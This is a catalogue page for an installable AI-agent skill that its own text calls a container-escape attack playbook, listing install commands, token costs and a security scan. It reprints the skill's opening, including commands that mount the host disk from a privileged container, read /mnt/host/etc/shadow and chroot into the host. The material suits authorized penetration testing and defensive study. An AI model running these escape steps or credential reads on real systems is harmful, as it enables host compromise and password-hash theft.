container-escape-techniques

container-escape-techniques is a skill for Claude Code, Codex from yaklang/hack-skills. It costs 52 tokens per session (2,687 once invoked), scanned C, original, MIT.

A playbook for trying to escape from an isolated container, such as a Docker container or Kubernetes pod, to the computer or system hosting it. It covers common misconfigurations and security weaknesses that can make this possible.

In plain words
What is it for?
Use it for authorized security testing of Docker, Kubernetes, or other container environments. The input does not describe defensive scanning or remediation features.
Why use it?
It helps security testers investigate whether container isolation is strong enough. Container escape is a serious security issue because it can expose the host system or other workloads.

Skill for Claude CodeCodex

About the project

HackSkills is an organized knowledge base of installable skills that gives AI agents practical security knowledge across areas such as web security, privilege escalation, reverse engineering, and digital forensics. It is intended for bug bounty work, penetration testing, CTF competitions, and authorized security research. The catalogue entries are the project's own master, category, and topic skills.

yaklang/hack-skills · 2,064 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/yaklang/hack-skills/container-escape-techniques
Any agent
npx skills add yaklang/hack-skills --skill container-escape-techniques
Clone the repo
git clone --depth 1 https://github.com/yaklang/hack-skills

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for container-escape-techniques

README.md
[![agentmods](https://agentmods.dev/badge/skills/yaklang/hack-skills/container-escape-techniques.svg)](https://agentmods.dev/skills/yaklang/hack-skills/container-escape-techniques)
Your own site
<a href="https://agentmods.dev/skills/yaklang/hack-skills/container-escape-techniques"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/container-escape-techniques.svg" alt="Measured on agentmods" height="20"></a>
Per session 52 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,687 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00052 $0.02687
Opus 5 $0.00026 $0.01344
Sonnet 5 $0.00010 $0.00537
Haiku 4.5 $0.00005 $0.00269

Measured 6d ago against content hash 7ab2698347f0, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-05, from the pricing page.

Security

Grade C, and why

container-escape-techniques scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat /mnt/host/etc/shadow

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# Without CLI (curl only) — create privileged container via API:
Origin

Copies of this mod

4 near-identical copies found in the catalogue:

skills/container-escape-techniques/SKILL.md · 340 lines

How it starts

The opening of the file, as written. The whole thing — 340 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Container Escape Techniques — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.

Before going deep, consider loading:

Advanced Reference

Also load DOCKER_ESCAPE_CHAINS.md when you need:

  • Step-by-step escape chains for common misconfigurations
  • Docker-in-Docker escape scenarios
  • Kubernetes-specific escape paths with full command sequences

1. AM I IN A CONTAINER?

# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname    # random hex = likely container

# Detailed check
cat /proc/1/status | head -5   # PID 1 is not systemd/init?
mount | grep -i "overlay"      # overlay filesystem?
ip addr                         # veth interface? limited NICs?

Tools for Container Detection

# amicontained: shows container runtime, capabilities, seccomp
./amicontained

# deepce: Docker enumeration and exploit suggester
./deepce.sh

# CDK: all-in-one container pentesting toolkit
./cdk evaluate

2. PRIVILEGED CONTAINER ESCAPE

If --privileged flag was used, the container has nearly all host capabilities and device access.

2.1 Mount Host Filesystem

# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged

# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1

# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash

Read the full file on GitHub · 340 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 340 lines · 52 tokens per session scan C 7ab2698347f0

Subscribe to this mod's changes

container-escape-techniques is a skill published in the GitHub repository yaklang/hack-skills (2,064 stars, last pushed 2mo ago), licensed MIT. It adds 52 tokens to every session and 2,687 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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